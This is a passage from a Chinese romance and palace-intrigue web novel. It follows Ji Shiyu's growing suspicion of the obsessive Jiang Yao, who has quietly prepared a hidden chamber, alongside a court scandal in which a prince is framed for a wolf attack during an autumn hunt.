姬时语满心怨念,一股脑地训斥他:“你还拔了刀,我们彼此不该互相关切与爱护吗?这世上那么多人,你拿刀对着谁,也不该对着我。”
江曜:“……”
少年侧眼,他不语。
并非自省,而是江曜觉着他是否该让姬时语早些适应他,适应他不是个好人。
“我要回去了。”
姬时语不愿多说。
江曜拽住了她,“还没给你上药。”
“还上药作甚?你都把我折腾成这样了。”
姬时语脚踝太疼了,她走不得路,偏还是嘴硬倔强说着,“江曜,我被你气到了,你哄不好我了,我也不想见你。”
江曜又拔出了刀。
长刀银光一闪,姬时语脸色瞬间被吓得发白,她大喊:“你别乱来,放下刀!”
可是江曜的手腕一转,他包住姬时语的一只手,摁着她握在了刀柄上。
几乎不给姬时语思忖,他握着她手便往自己身上捅去。
他要她捅他一刀?
姬时语吓得惊慌失措,奋力拽住了那把锋利的长刀,使出了九牛二虎之力,勉强将刀尖给拉住了。
没能刺入少年身体。
她高喊一声:“江曜,你疯了不成?”
“你说我拔刀不对,哄不好你了,那你还我一刀,就当是抵债。”
江曜说的那么平静,便如对他而言,这便是他哄她的法子。
“江曜,给我把刀放下!”
姬时语真是气得心肝肺处处都疼,“我看你真是脑子烧坏了,病得不轻,我何时说过要你一刀才算抵偿?”
江曜眼瞳凝着,死寂的眼微微一转,不知在想什么。
他手腕松了力,姬时语很快将刀拔出,转瞬哐当一声甩在了地上。
若是她此时能落地行走,她非要把长刀踢得要多远,有多远。
这一刀下去都能要人命了,江曜真是病入膏肓,竟想出这种法子。
可再一看,江曜的眸光瞥去了长刀,像是要去捡回来,姬时语立马伸出手,飞快将人拽住。
“不准去拿刀了,就丢在那儿,我瞧着心烦。”
听了她话,江曜觑眼回来。
“江曜,我脚疼,你先给我上药,好不好?”
姬时语勾住少年的手腕,这回是主动将身子贴上了他胸膛,搂抱住了他,不让少年再动不好的歪心思。
江曜应了声,没再管刀,转而去书桌侧边取药。
他在姬时语面前蹲下身,小姑娘很乖巧地把脚腕举给他,江曜舀药覆在她脚踝的红肿,轻缓的很。
姬时语竟未觉着一丝疼。
上好药,江曜又找来鞋袜,为她穿好。
他倾身在她脚边,姬时语只是一个弯腰,便能顺势落入他的怀抱。
忆起先前少年冷然之下隐隐的疯狂,姬时语不愿再经历一遭。
因此她手臂朝下滑落,径直圈在了江曜的脖颈上,她勾住双手,也抱住了他。
“喏,你抱抱我。”
江曜的
眼一顿,抬起时,姬时语清晰地看清楚了。
他狐狸眼的眼底顿生起的温柔。
这才是她的哥哥啊。
姬时语很喜欢他的这副模样,因而好了伤疤就忘了疼,小姑娘是直接窝进他胸膛之中,半挂一样搂着。
“阿锁不怪我了吗?”
江曜亦是喜欢她亲昵爱娇地朝自己撒娇,每每她依赖他,他总能平复心底的癫狂躁动。
“我当然还生着气呢,你别想好过,我要罚你这些时日都得照顾我,每日我想去哪你便抱着我去。”
姬时语翘着鼻头,她哭过了,眼尾和鼻尖全粉嫩的红,惹人怜爱。
惹她的人是江曜,姬时语理所应当的娇纵,使唤起了江曜。
“我走不动路,今日罚你抱我回去,可不能再弄疼我了。”
江曜微微仰首,小姑娘挂在他脖上,朝他倾倒。
他却抬手准确无误攥了她的下巴,薄唇抬起,覆了上去。
温温柔柔的亲着她唇瓣之上先前被他吮破的破口,再含住了她的嘴。
很是虔诚。
“都听阿锁的。”
第80章
秋猎大为荒唐的一日,朝中皇子重伤而归。
大皇子江承运血流不止,昏厥过去,江承北幸免于难,完好无损。
容婕妤赶到西宫之时,那是一个嚎啕大哭,哭江承运伤残,又指着江承北痛骂:“三殿下,此事是不是你从中做的手脚!”
柳眉一直陪同江承北身边,待见江承运如此惨烈,仍心有余悸,可是容婕妤一顿指着鼻子骂劈头盖脸的,她当即不满了。
“婕妤娘娘,这事怎么就和我们殿下有关系了?”
柳眉还算镇定,她说道:“殿下和大皇子一道秋猎,若此事乃殿下所为,我们殿下何必多此一举,让自己身陷险境?”
“就是他在才让人起疑心!那么多狼群,咬了承运,偏偏就没咬你江承北,不是你搞鬼,我还真奇了怪了!”
容婕妤痛哭流涕,不住叫骂,柳眉还想多说,却被江承北沉着脸捉住了手臂。
夫妻两人对视,江承北摇了摇头,柳眉压住话端。
就在这时,二皇子江承德被推着入了殿,他定定看向了江承北,眸子深邃,喊他:“三皇弟。”
“二殿下!”
容婕妤一把冲过来,她知晓弘文帝命江承德彻查,此时江承德过来,定是有了眉目,她赶忙追问:“你寻到什么了?”
江承德复而又瞥了江承北一眼。
柳眉握住江承北的手腕,问他:“二殿下是何意思?”
“不知道。”
江承北心中有了个不好的预感,眼皮嗡嗡直跳。
只听江承德说道:“三皇弟的马匹上残留着药末,我已让人验了,这药末含杂石楠花,气味滂臭,可驱逐野狼。”
江承德之意,这便是江承运被野狼撕咬,而江承北却毫发无损的缘由。
江承北脸色发黑,“我的马怎么会有药末?”
“不会的,不会的!”
柳眉更是惊慌,“二殿下,我们殿下怎会是主谋,以身涉险一个不小心就是丧命啊!”
江承德说:“可也让人神不知鬼不觉,大皇兄可是被咬掉了一块肉。”
“不是我做的!”
江承北极力否认:“我真不知晓为何有那药末,我没让人涂过。”
“这事不该问三皇弟你自己吗?”
江承德注视着他,想要从他面容之上洞察痕迹,“眼下大皇兄重伤,三皇弟同在一地,却丝毫无损。三皇弟,你这药末是事先备好的吗?就为了等大皇兄涉险,而自己好逃过一劫。”
“江承北,你好狠的心啊,你竟残害手足,啊!”
容婕妤尖叫一记,整个人是直挺挺昏倒过去。
整个西宫顿时乱作一团,江承北百口莫辩,江承德查出之事,做不得假,他马匹上涂抹有驱狼保命的药末,只会是真的。
江承北满脑子都是一个念头。
谁要害他!
……
本秋猎三日后,弘文帝便会启程回京,然围场起了野狼突袭一事,这日子便又拖了五日。
再度随队回京时,姬时语被安放在姬合英身边,姬合英没骑马跟队,而是陪她坐了马车。
“听说这事三皇子也参与其中了?”姬时语问。
“谁知道呢,二皇子翻找出他动了手脚,陛下是问了罪的。”
“姐姐,你不觉着此事有些怪异吗?”
姬时语朝后一靠,柔软衣裙之下,一只脚腕露出,她脚背裹满布,红肿被包得很大。
上了马车姬时语便未穿鞋子,只因塞不进去,穿着蹩脚难受。
“那日如果我和安乐他们没入围场,受伤的便只有大皇子一人,我们三个是受牵连了。”
姬时语又说:“这事就好像冲着他来的一样。”
“那三皇子使坏便说得过去了。”
姬合英不经意瞥见小姑娘窝着的脚踝,眼底冷芒一闪,“若真是三皇子为主使,我要想想怎么和他算账,是他害的你伤成了这副模样。”
“姐姐,陛下为何还不立储?”
姬时语觉着奇怪,眼见朝中三位皇子已有两位迎娶了正妃,弘文帝还是没有要册立太子的意思。
秋猎的头筹也被野狼突袭搅合了,两位皇子一个重伤,一个身陷囹圄。
姬合英摇头:“谁知道呢。”
“那楚王府是怎么回事,我听说江子墨头一日便重伤抬回京城了。”
“双腿俱断,才是惨呢,江子墨跟吓傻了似的,我看他话也说不明白,陛下便让人赶紧把他送回王府了。”
姬时语后知后觉,她疑窦。
都说江子墨是坠马被踩断了腿,事实当真如此吗?
姬时语又忆起江曜将她锢在营帐,忽明忽暗微弱的光线之中,少年的脸颊浸没着不易察觉的癫狂。
是的,癫狂。
姬时语有些怀疑了。
江曜是不是在伪装,他一直待她太温柔平和,致使她从未多想。
总觉着这棵歪脖子树比之前世,已被她感化教习回到正途。
可若是万一,江曜的本性未曾改过呢?
楚王妃派人暗杀江曜,江曜能不记仇,还好心将江子墨亲自送回来?
姬时语的后背再度涌起一股毛骨悚然。
她细细回想,越是深思,越是疑窦江曜在刻意隐瞒着她什么。
他不愿自己知晓,在她这里总是摆出她喜欢的模样。
令她心生旖旎之情,无端忘却了一些事情。
若是江曜真的不是看似的那么好相处,他还是前世那个他,病态疯狂、手段暴虐又喜怒无常。
那她怎么办?
那些因少年生如她心悦的画面霎时破碎,姬时语满心涌起的悸动,在这一刻,褪了个干干净净。
她生出新的念头。
她要弄清楚,江曜究竟在想什么,又背着她做了哪些事。
她迫切想知道,他到底是怎样的人。
……
回到忠义侯府,姬时语老实的窝在韶华院静心养病。
没两日,杜南霜便入府求见,是十分关切前来探望于她。
早耳闻沈家兄妹亦在围场受伤,杜南霜叹息心疼,“你和沈大人遭大罪了,我还想着秋猎不会生事,结果还是多事之秋了。”
“唉,万幸的是伤的不重,捡回了一条小命。”姬时语回笑。
“这回你父亲安插在你身边的暗卫真是立大功了,还好身边有人手。”
杜南霜一说这话,姬时语又想起来了,那时候宁氏姐妹一个去帮沈南怀,一个去帮沈安乐,后来冒出来的黑衣哑巴少年,是谁的人?
她当时未细究,回头一琢磨。
江曜来的那样及时,那哑巴少年见江曜和林一赶到,便消失不见了。
哑巴少年是江曜的人?
江曜为何要安插人在她身边,有宁氏姐妹两个女
暗卫还不够吗?
他不会是要追查自己的行踪吧?
姬时语被脑中蹦出的这个念头唬住了。
应该不是吧,江曜或许是很担心她的安危。
姬时语像在自我不断的说服。
“阿锁,我今日来还有件事要告诉你。”
杜南霜给她带了话来,说时神色怔然不已,“于策安去岭西了。”
姬时语第一时未反应过来,“你说什么?”
“于策安现如今在岭西,从了军。”
“他怎么跑岭西去了?”
这已是姬时语第六年未见过于策安了,她只记得六年前于策安固执离家出走,从此离开京城,再无音讯。
杜南霜叹了口气,“我也不知道,他给我写了信,才说自己人在岭西。”
姬时语半晌没再开口。
杜南霜又说:“他问了我你可还好。”
“我有何会过的不好的,我好的不得了,你就这么回他的信。”
姬时语努力扬起笑,又说:“他在岭西也好,我父亲和姐姐身领官职,下回他们再去岭西,我托他们去找于策安吧。”
“嗯。”
杜南霜笑了笑,没再说话。
十月的秋日,已留有微凉,韶华院种植有一颗桂花树,每逢秋日便散着馥郁的花香。
进了十日,桂花凋零花香飘散,香味淡了又淡。
姬时语窝在树下的藤椅之中,零零散散的桂花洒落于她身,快将人淹没。
花掉的厉害,萍亭、萍柳忙着拾捡,院外便有笑声传入。
“五妹瞧着不像养病之人呢,小脸红润着。”
“没大伤就是万幸。”
是三房的姬如萍、姬如蕊姐妹相携入院,两姐妹见姬时语抬起懵懂的眼,又是一阵笑声。
姬时语笑道:“三姐四姐怎么来了?”
“还不是担心你。”
姬如萍接过萍亭手里的杌子,在藤椅旁坐下。
姬如蕊接道:“听说你在秋猎场受了重伤,可把我们吓坏了。”
姬如萍道:“京城里都在传,楚王世子双腿全断了回来的,太吓人了。”
“还有大皇子殿下,被狼群咬得血肉模糊,也不知这肉还能长回来不?”
姬如蕊后怕的很,她又说起来:“大皇子真是狂暴的很,他还对大皇子妃动了手,这两日都在疯传大皇子妃哭着回娘家的事。”
“真动手了?”姬时语问。
“有人瞧见的,大皇子妃牙齿都被打出了血。”姬如萍眼中怜悯道。
“我无碍的,伤的不算重。”姬时语弯弯眼。
她拨弄了两下脚踝,给两人瞧了眼绣花鞋中白盈盈的脚腕,养了几日,红肿褪去许多,只有腕骨还有些疼痛。
不算打紧。
姬如萍松气:“五妹,我看你是被江公子抱回来的,还以为你脚折断了。”
“说起来,五妹,大婶娘可有为江公子议亲?”
姬如蕊不知想到什么,望着姬时语的眼眸深了深,又含着温柔的笑。
姬时语愣住,立刻回:“太傅府柳家本是有意,但哥哥不愿意。”
姬如蕊和姬如萍面面相觑,姬如蕊眼里升起戏谑,捉了姬如萍的手笑说:“姐姐,要不还是你来问吧。”
“这你怎么不好意思上了?都是亲姐妹,怕什么呢。”
姬时语被闹了个茫然无措,“你们要问的是何事?”
“五妹,江公子待你真是好,不只是好,是太好了。不是我们多想,是每每见你们站在一块,我和四妹都觉着江公子看你的眼神不大寻常。”
这里无外人,姬如萍说的都是姐妹间的体己话,“五妹许是没留心过,他看着你的,真像极了在看心爱的姑娘,他太想要疼爱你了,让人觉着腻歪。”
姬如蕊抓住姬如萍的手,“三姐少说几句,过会儿给五妹说害羞了。”
“可五妹和江公子男未婚女未嫁,又是议亲的年岁,好像也无不妥。”
姬如萍扑哧笑了出声,她拍打了一下姬如蕊的手背,转而和姬时语调笑:“五妹,你有没有想过,和江公子议亲啊?”
桂花树下,丹桂飘香。
姬时语如鸦羽的睫毛落下一小团暗影,玉色脸蛋登时满面羞云,受两位姐姐调笑,她有些不知所措。【你现在阅读的是 】
80-90
第81章
“是啊,五妹,你便没想过这事?大婶娘也不曾提过?”
“没想过,我娘提都未提。”
姬时语绞着手指道:“两位姐姐可不要说了,平白惹了闲话,我和哥哥都不曾议过亲。”
“那不是正好吗,你们二人议亲。”
姬如萍笑得很欢,便是全为调侃,“五妹和江公子门第相当,又知根知底一起长大,彼此熟稔品性。大婶娘也是的,不知道顾虑什么呢。”
“是啊,这总比外头半点不知的人家好上百倍啊。”姬如蕊亦是道。
姬时语脸红透了,她遭不住两道笑眯眯的眼神,便想躲着,“姐姐不要打趣我了,我真未想过和哥哥定亲。”
“多可惜,你这会儿想想也来得及啊。”
姬如蕊还在笑。
面前小姑娘脸红害羞,并非是无情的意思。
这无心之话入了心,可不就能多想几分?
因此姬如蕊道:“你若是对他也有几分意思,我觉着这事和大婶娘提一提也好。”
“与其江公子迎娶别家姑娘,倒不如和自家人结好,肥水不流外人田嘛!”姬如萍笑说。
两人是真真觉着望见江曜和姬时语站在一块十分般配,便打心底以为两人合该是一起的。
尤其是见到江曜那眼神,缠姬时语的紧,是半刻都不愿分离。
偏偏自家五妹,忠义侯府的五小姐跟个木头桩子似的,已是及笄了还是不开窍,对男女之情懵懵懂懂。
姬如萍推了姬时语一把,“五妹,怎么样?”
“什么怎么样,你们今日说的我头大,之后容我好好想想再说。”
姬时语捧着脸,不给两人再看红润的面皮,只露出了一个红红的耳尖。
姬如萍和姬如蕊见状是笑个不停。
姬时语好生羞恼,不愿意再说江曜的事。
两个姐姐不再打趣她,姬时语平复了几许,方才抬头,道:“姐姐们莫要再打趣我了,你们是定了好亲事,可我还是孤家寡人一个呢。”
“孤家寡人是这么用的?”姬如萍笑起来。
“五妹小小年纪玩心重,你不愿意定亲,就赖孤家寡人,不讲理讨打。”姬如蕊回。
“是啊,不想孤家寡人也好。”
姬如萍笑道:“五妹,事不宜迟,收了你那云让哥哥,做未婚夫就好了。”
姬时语真是尝到了什么叫做搬起石头砸自己的脚,两位姐姐是无论如何也绕不开江曜了。
心头好一阵责怪起江曜,都是他惹得姐姐们只会调笑于她。
姬时语鼓气侧头,回哼道:“两位姐姐就会看我的笑话。”
“这可不是笑话,是姐妹间的体恤,我们盼着你能嫁为好夫君呢。”姬如萍回她。
“不过说起来,江公子十八岁便得了三品明威将军,又在秋猎夺下头筹。”
这次秋猎的头筹出人意料。
并非大皇子亦或三皇子,弘文帝最后定下的人选,竟是明威将军江曜。
姬如蕊说起旁事,“这次江公子归京,陛下还要让他在京中任职吧?”
“听说了册封的是哪位官职吗?”姬如萍追问。
姬如蕊答:“像是入了五军都督府。”
“咱们忠义侯府又要出一位大将军了?”
姬如萍捧着嘴惊讶,“陛下最是头疼大都督定为何人,江公子入了五军都督府,岂不是日后走到大都督之位,便只差时日了。”
“那可不是吗?江公子深得陛下的心啊。”
“所以,任了什么职?”姬如萍问姬如蕊。
“我若没记错的话,是都督佥事。”
“都督佥事!那不是正二品的官职,江公子又升
了一品?”
姬如萍是惊得合不拢嘴,朝中上下仕途能走的如此之顺的,怕也只有江曜一人。
十八岁的正二品官职,是多少人艳羡不已,求而不得。
“上一任都督佥事刘寻春老人家年岁大了,便卸任告了官。”
姬如蕊说:“估摸得了空缺,陛下便册立了江公子。”
“还真是赶巧了,不过正二品啊,大婶娘真不着急给江公子看亲事吗?怕是京城各家的姑娘都在翘首以盼,看江公子会娶什么样的姑娘为妻吧?”
姬时语听着两位姐姐你一言我一语,转而忆起上一任五军都督府大都督,便是江曜的舅舅。
那位遭谋逆之罪,本赫赫有名的大都督白斩霍。
如今江曜走上了同舅舅的路,同样入了五军都督府,任都督佥事。
“凭着自己拼出一条顺遂仕途,才是了不得呢!这样好的公子,五妹舍得让别人抢了去?”
姬如蕊一个劲的调笑,三房如今与大房关系不错,姬时语又待三房的两位姐姐亲近,因此三房姑娘们大胆打趣着她。
再来,姬如萍与姬如蕊早已定下亲事。
三房夫人何氏为两个姑娘择的两门亲事,是一文一武。
姬如萍定的未婚夫是少詹事谭家的嫡次子谭中仁,而姬如蕊则和常员外郎家的庶长子常元忠定了亲。
姬时语细细思量,她的三姐嫁入文官家,四姐则入的武将之府。
一文一武两者相差甚远,谭家与常家却皆是清白门第,而常元忠虽是庶长子,但姬时语听说过,这人是常家的顶梁柱。
常元忠如今已就任,是正六品的御前侍卫,身份并不低微。
若论起来,忠义侯府三房的庶出姑娘与他定亲,还算是高攀了。
只是这门亲舒氏亦是很满意,因而那时舒氏便亲自出面,去了一趟常家。
有大房的忠义侯夫人保媒,常家怎么都会卖忠义侯一个面子。
很快舒氏便和常夫人商议定下了姬如蕊的亲事。
“舍不得又能如何,他想娶谁家的姑娘我拦不住,他不愿意娶谁我也劝说不了。”
姬时语后仰一靠,小姑娘舒舒服服的倒在藤椅之中,莹白的下巴尖一翘,是十分舒坦的洒脱。
姬如萍和姬如蕊对视一眼,遂姬如萍道:“五妹为何妄自菲薄,是在意还是不在意呢?”
这一发问,韶华院竟一时静默。
姬时语直愣愣地抬眼,满眼光华顿入了暗沉的阴影之中。
是啊,她显得不在乎,究竟是在意还是不在意呢?
江曜若要迎娶旁人,她似乎做不到自己说的那么洒脱,她心中多少还是介意的。
即使姬如萍说,江曜如今为二品管身,身份地位已是高不可攀,可姬时语知道的,日后江曜还会走至更高。
楚王府的爵位,迟早会落在江曜的头上。
满京城最风光的楚小王爷江曜,还是身职正二品的都督佥事,当真是该说嫁人都道要嫁楚小王爷了。
她还真是把少年养的很好啊!
姬时语笑靥如花。
是一面自得她的精心照料,一面为江曜走至今日而骄傲。
可是很快,她又想起来江曜隐有不平静之态,那些时日做出的疯狂举动。
又是拔了刀,事后还要抓着她手捅向他自己。
姬如萍和姬如蕊说江曜是那么缠着她,眼里黑黑沉沉的,他只看得见她。
这些皆是姬时语没见着的地方。
江曜暗地里,背着她,做了许多她不知道的事。
这样的江曜,会不会和前世走上同样的路,病态癫狂入了魔,将人抓起来绑走,再凌虐一番。
与自毁无异,焚烧殆尽。
姬时语的心又揪起来了。
姬如萍问起她对江曜可有好感时,她答不出来。
若是秋猎之前,两位姐姐问她,她定会说她是有几分心悦江曜的,两人定亲,她并无不愿意。
但是事到如今,她察觉到了端倪。
这话就不能说出口了。
如若有朝一日,江曜真会对她动手,并疯狂不顾一切的杀了她。
那点微薄的喜爱之情,与自身性命相比,便是微不足道。
姬时语心头烦闷。
她不愿意去相信江曜还是前世那个病态癫狂的他。
她更愿意去想,他还是她喜欢的哥哥,是对她最疼宠、最耐得住性子哄她的。
她喜欢的少年。
那样的话,他便是她的心悦之人。
……
时至十一月初,秋猎野狼突袭一案也有了眉目。
二皇子江承德彻查西宫别苑,后在三皇子居住的西阳宫中,找到了诱狼的药粉,此事的幕后主使直指江承北。
江承北不服,咬死了定有人陷害于他。
恼怒之下,江承北竟当场拔了刀,杀了西宫负责巡护围场的囿守。
弘文帝大怒,下令将江承北关入宗人府,不得任何人探视。
容婕妤才是哭闹,和弘文帝哭,又和柳贵妃哭。
大皇子江承运后背被咬掉了一块肉,一听说是三皇子所为,容婕妤恨急了,径直冲去了兰香宫,要撕烂荀美人。
柳贵妃及时让人赶到,止住了这场后宫之乱。
事后阁老房平请旨,为大皇子江承运打抱不平,首辅魏召亦是附和。
两位朝臣大人向来不参与朝中立储一事,只随弘文帝议官事,如今为了秋猎三皇子招诱野狼袭击大皇子,勃然大怒。
房平直言:“陛下,大皇子殿下虽不是嫡出,但到底是陛下的长子,三皇子为次,却目无尊长,实在不该。”
“此事大殿下受了太多委屈,陛下,是该体恤一番大殿下了。”魏召跟道。
两位大人表了态,朝中众臣便纷纷附和。
早朝之上,弘文帝黑着脸,不得不被驾着宣旨,命人送御医、送药材,再下令复了大皇子的职位。
待江承运病好后,便直接去刑部领职。
一番下来,大皇子党和三皇子党再度风水轮流转,大皇子成了风头正盛,正是得意时。
三皇子党兵部尚书胡老太爷的脸上难看极了,他外孙江子墨双腿折断罢了,三皇子还被关入宗人府。
何时才能释放?
胡老太爷不知道。
只能等弘文帝消气,再谈三皇子党复起。
胡老太爷暗叹一句蠢货,甩手便下了早朝。
而今日的江曜亦在早朝之上,他身穿一袭绯袍虎补官服,脊背挺直,不怒自威。
江曜新得了封,为五军都督府的都督佥事,位列二品。
在早朝一众年迈大臣之中,江曜显得十足惹眼。
江曜不是很喜欢这种感觉,受万人瞩目似的。
因而一下朝,他是马不停蹄地即刻出宫。
这一路上他还是被不少官员喊住,一众人躬身道喜喊他“都督大人”,又上前攀谈几句。
五军都督府任统军,兵部却有调动权,江曜是五军都督府的都督佥事,本应与兵部结交。
可今日江曜与兵部却并未有来往。
只因兵部尚书乃是胡家的胡老太爷,两人早有过节,胡大人不可能给江曜好脸色,两人只字未提便分道扬镳。
至于其他人,江曜冷脸,言简易骇。
早年他受过太多白眼,如今即使飞黄腾达,也仍旧未忘自己是何种的身份。
若褪下这身官袍,许多人连正眼也不会多瞧他一眼。
而这一点,他的阿锁便是做的太好。
让他这颗心再盛不下旁人。
只是小姑娘不算乖巧听话,总做些惹他不甚开怀之事。
对此,一出宫,江曜便骑上马,喊了林一出来,“我让你备的,可是安置妥当了?”
“回公子,郊外的别庄已是办妥,只等公子过目。”
“地宫呢?”
“也备好了。”
“很好。”
江曜十足满意,他拉了马打算回忠义侯府。
看看他的小姑娘可有好好的养病,没四处乱跑。
而林一才是心惊胆颤。
林一没想到江曜并非戏言,甫一回京,便下令要他去置办一处别庄,隐蔽最好,不让人知晓。
还要在别庄之中暗造一座地宫,四面不透风,里头只有一张榻。
再多的,便是几条沉重的铁链,和数不清的朱红柔软绸缎。
林一还在想,自家公子是要审何样的罪犯,要做的这样昏暗无光、干云蔽日的。
第82章
下朝之后,二皇子江承德去往了未央宫。
长林推着江承德入殿,小太监已先行禀报并放了行,殿中明亮,柳贵妃簇身于一团金光之中,端的是雍容华贵,明艳大方。
“德儿。”
柳贵妃见到儿子来,笑脸挂起,还是十分高兴的。
谁料江承德语出惊人:“母妃,收手吧。”
柳贵妃身形一顿,目光冷然:“德儿,你在说什么?”
“母妃,你真以为我不知道吗?”
江承德眼眸冰冷,他早已不似那个会亲热喊柳贵妃母妃的孩童了,如今的他只是二皇子江承德。
“西宫野狼突袭,是母妃你做的吧。”
这不是问话,而是极为的肯定之意。
“我不懂你的意思。”
柳贵妃意图狡辩,她自嘲笑道:“我哪来的本事去引诱围场的野狼。”
“此事既然是我全盘彻查,我来找母妃谈话,便是我深信确切。”
江承德深深叹了一口气,“大皇兄重伤,三皇弟被关宗人府,母妃要的是父皇留心于我?重新提拔我入朝为官?你何必多此一举呢,我左右活不过后年了。”
“德儿,我不准你这么说自己!母妃会去求皇上,给你寻天底下医术最高超的郎中,你的病定能治好。”
柳贵妃双目湿润,她最不愿想的,便是江承德的病。
“母妃,治不治得好,我已不在乎了,但是你莫要一错再错。此事我会替你瞒下,不要再有
第二回了。”
江承德却心意已决,“父皇若知道你后宫干政,定会废黜你的贵妃之位,母妃是天下最尊贵的贵妃娘娘,我会保你长盛不衰,但你不要总做些让我失望之事。”
“德儿!”
“别逼我毁了你想要的。”江承德冷面不加情绪。
“我……让你恨恼了?”
柳贵妃眼里有了泪。
她是被江承德无情的话伤透了心。
柳贵妃怅然若失,喃喃自语:“你怎么能……怎么能这样对我,我一心只为了你啊……”
“母妃,你歇吧,我也回了。”
没有再多说一句,江承德不想再看柳贵妃落泪,他让长林推着自己离开了未央宫。
彼时宫外黄昏落日,余晖扑撒朱红的宫墙,长林推着江承德慢行于皇宫中的甬道之上,江承德一路沉默不语。
“长林啊,你说我对贵妃可是太残忍了?”
江承德疲倦地朝后一靠。
有时候他在想,为何他和母妃会走到今日这般地步,是柳贵妃为他所筹谋,却从未不问他要还是不要。
总是徒劳,做些无用功。
还是他这幅破败不堪的身子,自打出生起便注定了日后的结局?
“殿下已为朝廷做了太多,贵妃娘娘不知情,更无法体恤您的心。”
长林摇头:“殿下的良苦用心,贵妃娘娘迟早会明白的。”
“是吗?”
江承德嘲弄一记,他笑了笑,须臾之间,胸口一处阵痛猛然袭来。
“哇……”
痛苦上涌,江承德喷出一口鲜血。
“殿下!”
长林忙从袖中取出药丸,喂进江承德的嘴里。
看江承德痛苦难耐,长林痛心疾首。
近几年连太医院都不敢再上二皇子府,就怕诊治不好江承德,被弘文帝砍了脑袋。
可是江承德的身边人见他长久的吐血,心知留得二皇子殿下的时日不太多了。
虽未入朝廷,但江承德所做之事一点也不比江承运、江承北来的少。
长林很是为自家殿下抱不平,若非病魔缠身,他家殿下才该是这储君之位最好的人选。
“殿下。”长林又喊。
“无碍。”
江承德摇头,他擦了血,又吃了药丸,长吁一口气,闭合起了眼睛。
他是有些不甘心的。
不甘心自己只能再活两年了,他还有那么多事未做,还并未在朝堂铺好路。
若他这个时候走了,江承运和江承北两个废物上去,怕是要毁了他们江家的天下江山。
但凡江承运和江承北有点能耐,衬得上君主之位,他撒手也不是不可。
然这两人是一个比一个烂,皆是扶不上墙的烂泥。
江承德冷笑。
再说宗室,也只有一位楚王府的世子,江子墨和那两个一样是废人一人,选谁都是错。
想到早朝之时,兵部尚书胡老太爷没给江云让好脸色,他又觉着江云让这个新上任的都督佥事,不得待见的很。
一想这些,江承德心口烦闷。
“让人去寻江云让。”
江承德转而跟长林说:“我要他来陪我喝酒。”
……
江曜下朝归了忠义侯府,便立即来了韶华院寻姬时语。
小姑娘屋中点了一盏油灯,雕刻牡丹的两扇窗棂微开,她玉白的小脸可巧便从这道缝隙之间透了出来,微黄的光便洒在她半张柔滑的脸上。
是素雅宁静之态。
江曜心下轻松,大步走去,他趴在窗上,自院中问窗里头,书案之上的小人儿:“阿锁在看什么呢?”
姬时语抬起眼眸。
天边晚霞静落,窗外的江曜清冷俊容亦被温暖的霞光铺洒,脸庞不再那么冷硬,霞光映衬得他再温和不过。
“哥哥下朝了。”
小姑娘眼眸流光四溢,俏生生笑回:“我在读是明光书肆送来的信件呢。”
“你那铺子的生意可还好?”
江曜绕了一圈,后还是从正屋门前入了室,他走来时姬时语的目光也顺着朝他的身影看了过来。
姬时语点点头:“每月进账都不少,如今我私房钱丰厚着哩!”
书案之上摞着的信纸纷乱,其上是杂七杂八的字迹。
江曜拿起一张,甫一看去,纸页正写着朝中首辅大人魏召的家中事。
信中说魏家十几年前养了一只三花猫,后来猫儿寿终正寝,同在这一年,魏召却遭了贬官。
经得一先生提点,说道这三花猫才是福泽之源,没了它,魏家去了大半的福运。
因此魏家忙去一连寻了五只三花猫,这一下魏召是仕途连进,不久后便走至首辅之位。
江曜看得讶然,“魏家觉着是三花招福。”
“确实如此。”
姬时语莞尔,她笑道:“听闻魏家府邸还有一处猫院,就供着这数来只猫,每日魏丞相下朝都要去拜一拜猫,求些福气。”
江曜真是闻所未闻,“信中还真可信?”
“可信的很,太真了!哥哥,你不信?”
姬时语一眼便瞧出江曜冷冷沉着的神情,他分明就是不信。
于是她抽出一张纸,递给江曜,便“喏”了一声。
江曜觑眼。
信纸上竟是光禄寺少卿王大人喜好着赤红亵裤一事。
“哈……”
江曜觉着这未免过于可笑了,“你怎么给我这个?”
“哥哥你不是不信吗?”
姬时语捧脸偷笑,她转了眼珠子,狡黠灵动的很,“姐姐说你受了册封,如今已是五军都督府正二品的都督佥事。正好哪日你上朝之后,去寻光禄寺少卿王大人求证一番,看这事是真是假。”
“好。”
江曜竟真的将信纸折叠,揣进了怀中。
姬时语看得瞪目结舌,“你真打算去应验?”
“不是你说的,要我去问吗?”
“不要啊!”
姬时语一把拽住江曜的手腕,她先起的玩笑话,后把持不住的又是她。
“哪有人好意思去跟光禄寺少卿大人问这等私事的。”
小姑娘脸红透了,她羞恼十分,江曜还未不好意思,她先难为情上了。
“我同你打趣呢,你怎么这样死心眼,我说什么就是什么了?”
江曜轻轻勾唇,不语。
姬时语闷哼气他故意逗自己,复而坐回去。
“阿锁。”
江曜探手想摸姬时语红了的耳垂,被小姑娘一把拍开了。
“才不给你碰。”
“那可不行。”
江曜改为抬手抚上她的侧脖子,他冰凉的手贴过去,凉得姬时语缩着脖子,咯咯直笑。
躲了他几回,避无可避,姬时语还是被少年抓住了。
“你的手太凉了,不要碰我嘛。”姬时语不乐意。
“暖暖就好了。”
江曜固执的劲儿止不住,摸上她白软柔滑的肌肤他便舍不得,心头唯
有留恋之意,想一直抚着他喜欢的姑娘。
他哑了声,像在诱哄,“阿锁,纵容我一回,好不好?”
“你就是太执拗了,已决意了还要问我好不好。”
姬时语不悦地鼓脸,“即便我说不好你也不会应。”
江曜似笑非笑,小姑娘并未抗拒他,那便是允纳于他。
他的狐狸眼挑了起来,阴郁化作了愉悦。
今日归府,江曜未褪官服,他一身四方虎补长袍,金线绣出的凶兽在他衣上张牙舞爪,威严冷寒。
姬时语坐于椅中,他却站立,微微躬身俯下,高大的身影笼罩着她的全身。
自两人秋猎时有过一夜亲密之后,江曜便很习以为常地与她做些亲密的举止。
少年的手心贴着她,没有用力,但是对上他墨色的狐狸眼,姬时语便想起了他的那股癫狂。
尽管如今江曜面色平静,姬时语还是生出了后怕和惶恐。
忍不住瑟缩了一下身子。
江曜轻笑了一声,似乎被她说中,他反倒雀跃起来:“对阿锁的事,我总是执着的。”
“真是的……”
姬时语捉摸不透江曜的想法。
他看起来很欢喜的样子,也没真正入了疯癫,她便随着他去了。
抚摸她的脖子而已,又有何难?
姬时语只当自己生了一只好脖子,处处惹人喜欢。
转头从一沓子信件里取出一张纸来,姬时语遂朝江曜道:“今早上朝你应见到了胡老太爷,他没对你动手吧?”
胡家与楚王妃皆对江曜有杀心,姬时语担忧此事。
眼下江曜堂而皇之位列二品,入了朝堂,他们恐会对江曜于不利。
